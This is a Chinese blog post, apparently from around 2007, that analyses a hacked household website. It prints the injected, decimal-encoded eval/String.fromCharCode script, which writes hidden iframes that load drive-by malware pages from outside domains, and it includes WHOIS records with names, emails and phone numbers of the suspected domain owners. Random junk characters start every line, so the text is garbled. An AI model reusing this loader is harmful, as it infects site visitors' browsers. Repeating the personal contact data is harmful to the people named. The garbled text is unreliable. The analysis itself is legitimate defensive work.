首发在我的博客里面，
#]lK! : 3nX={72<b http://www.areway.cn/?p=175 JId|LHf*P UGK,+FN ' +E\-X 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
4' ` y5E [K"&1h<> <script>t=’60,105,102,114,97,109,101,
8d8GYTl b) 32,115,114,99,61,104,116,116,112,58,47,47,
KN"<f :u 102,114,101,101,46,117,45,117,117,117,46,99,
ZMmf!cKY:' 110,47,101,114,114,111,114,46,104,116,109,
Jn)DZv8? 32,119,105,100,116,104,61,49,48,48,32,104,
6G]hs gro 101,105,103,104,116,61,48,62,60,47,105,102,
c^`(5}39v 114,97,109,101,62′;
P ze{5! t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
`E-cf 7% R6-Z]H u <script>t=’60,105,102,114,97,109,101,32,115,
_/cL"Wf 114,99,61,104,116,116,112,58,47,47,102,114,
\Ea (f**2B 101,101,46,117,45,117,117,117,46,99,110,47,
T/ TMi&:?. 101,114,114,111,114,46,104,116,109,32,119,
i[m-&
105,100,116,104,61,49,48,48,32,104,101,105,
}g_\?z3gt 103,104,116,61,48,62,60,47,105,102,114,97,
i=X
B0- 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
|J ^$3RX document.write(t);</script>
s !WI:E7 |!"qz$8fB <html xmlns=”
@]X5g8h http://www.w3.org/1999/xhtml C, nU.0 “>
H:.l:P J <head>
MNd[Xzm <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
`nEe-w^9)I <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
w~} .c:B <title>首页 - 爱生活家庭网
?qR11A};tG OmAa$L,'w 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
_ e94 转换字符串后的大概内容是（谁点击后果自付）：
41NVF_R6J <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
%mMPALN]{ w}r~Wk^dLI 查询玉米u-uuu.cn的详细信息：
B),Z*lpC Domain Name: u-uuu.cn
{x<yDDIv_ ROID: 20070901s10001s64972306-cn
0:q R,NW^# Domain Status: ok
Z$: iq Registrant Organization: 王雷
Wd]MwDcO Registrant Name: 王雷
)_\q)t"= Administrative Email:
czlovexs@126.com vDcYz, Sponsoring Registrar: 北京万网志成科技有限公司
JFh_3r' Name Server:ns.yovole.com
zb& 3{, Name Server:ns1.yovole.com
|7% #z~rT Registration Date: 2007-09-01 17:54
<-F[q'!C1 Expiration Date: 2008-09-01 17:54
J:oAzBFpA 最后PING了一下地址 都没有什么….
a474[? ,'>O#kD
上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
eGQ -Ht,N <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
HAc1w]{( <script language=”javascript” src=”
Bd>a"3fA http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script p5 JRG2zt >
%rq/&#jC 这个玉米应该有可能是木马作者的：
=Bw2{]w foafau.info的详细信息：
d{*e 0 Access to INFO WHOIS information is provided to assist persons in
T7~Vk2o%( determining the contents of a domain name registration record in the
DBk]2W|i Afilias registry database. The data in this record is provided by
POt 8G Afilias Limited for informational purposes only, and Afilias does not
vbSycZ2M7 guarantee its accuracy. This service is intended only for query-based
C7xmk;c
w access. You agree that you will use this data only for lawful purposes
! ,&{1p and that, under no circumstances will you use this data to: (a) allow,
B8.uzX'p enable, or otherwise support the transmission by e-mail, telephone, or
6uKS!\EY| facsimile of mass unsolicited, commercial advertising or solicitations
;cp,d~m rf to entities other than the data recipient’s own existing customers; or
\T nRn(Kw (b) enable high volume, automated, electronic processes that send
R;`C;Rbf queries or data to the systems of Registry Operator, a Registrar, or
'O[0oi& Afilias except as reasonably necessary to register domain names or
h #(J6ht modify existing registrations. All rights reserved. Afilias reserves
l-<EG 9m@ the right to modify these terms at any time. By submitting this query,
C5x* t Q| you agree to abide by this policy.
7 j8Ou3 Domain ID:D22418703-LRMS
-8m3L Domain Name:FOAFAU.INFO
@t4OpU<'*b Created On:20-Nov-2007 16:05:42 UTC
C9L_`[9DO Last Updated On:20-Nov-2007 16:05:44 UTC
!i5~>p|4@ Expiration Date:20-Nov-2008 16:05:42 UTC
MyaJhA6c Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
=U,mzY ( Status:CLIENT DELETE PROHIBITED
y rQf PR Status:CLIENT RENEW PROHIBITED
s0*@zn>h Status:CLIENT TRANSFER PROHIBITED
j-TRa,4bN Status:CLIENT UPDATE PROHIBITED
+wxDK A_ Status:TRANSFER PROHIBITED
Am"e% |: Registrant ID:GODA-040110615
<db>~@;X! Registrant Name:liu hong
os Z] R Registrant Organization:
Lf+"G p Registrant Street1:beijing
f_'8l2jK1i Registrant Street2:
<#~n5W{l Registrant Street3:
* ^[j6 Registrant City:beijing
V?&P).5) Registrant State/Province:
g[ $4a4X Registrant Postal Code:100000
qA5 Ug Registrant Country:CN
^/fa sl$# Registrant Phone:+86.860108888777
J/B `c( Registrant Phone Ext.:
jchq\q)_z Registrant FAX:
{ pk]p~ Registrant FAX Ext.:
R(p3* t&n Registrant Email:bbbshiji@163.com
W(\ ^6S) Admin ID:GODA-240110615
Cxra(!& Admin Name:liu hong
"? ON0u9 Admin Organization:
3{9d5p|\i Admin Street1:beijing
} va>j fy Admin Street2:
yoG*c%3V? Admin Street3:
<d~si^*\ch Admin City:beijing
?tx."MZ Admin State/Province:
y7|
3]>Z Admin Postal Code:100000
S pk 8u4 Admin Country:CN
xq<X:\O Admin Phone:+86.860108888777
lb\VQZp!y Admin Phone Ext.:
4Be\5Byr Admin FAX:
MIdViS.g Admin FAX Ext.:
~}RfepM Admin Email:bbbshiji@163.com
^]MLEr!S Billing ID:GODA-340110615
~DP_1V? Billing Name:liu hong
ZY=a[K Billing Organization:
fs0EbVDF Billing Street1:beijing
vX|5*T`( Billing Street2:
\g R%PN Billing Street3:
v"-K-AQ jB Billing City:beijing
-{A*`.[v Billing State/Province:
+aOQ'*g Billing Postal Code:100000
y_r(06"z1 Billing Country:CN
(!%9# Billing Phone:+86.860108888777
M< / Billing Phone Ext.:
tn}MKo Billing FAX:
.zv BV_I Billing FAX Ext.:
B}0!b7! Billing Email:bbbshiji@163.com
q5{h@}|M Tech ID:GODA-140110615
.I.B,wH8 Tech Name:liu hong
2]=`^rC* Tech Organization:
`G`y A % Tech Street1:beijing
bX>R9i$
Tech Street2:
$[\\ {XJ. Tech Street3:
n Xw98; Tech City:beijing
T{)_vQ Tech State/Province:
v?_L_{x;W Tech Postal Code:100000
_$i)bJ Tech Country:CN
&yG5w4< Tech Phone:+86.860108888777
^09-SUl^ Tech Phone Ext.:
G A;h7 Tech FAX:
7=gcdfW,;x Tech FAX Ext.:
(d T Q,0 Tech Email:bbbshiji@163.com
!cW!zP-B*p Name Server:NS27.DOMAINCONTROL.COM
@MO/LvD Name Server:NS28.DOMAINCONTROL.COM
><I{R|bC Name Server:
lBGYZ-- Name Server:
)6(|A$~C+ Name Server:
P1ak>T *#2 Name Server:
5bBCI\&sam Name Server:
wSi$.C2 Name Server:
|W r$5r Name Server:
qP]1}- Name Server:
FG^lh Name Server:
\/ ipYc Name Server:
/xj`'8 Name Server:
9}5o> iR VS >xvF 接着下载每个文件里面的代码：
et?FX K"y 一步一步看..
}=Ul8
< 
.wB'" z8L 
gloJ;d E B 
d/!\iLF 
mM:%-I\$ 
-e"A)Bpl( 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
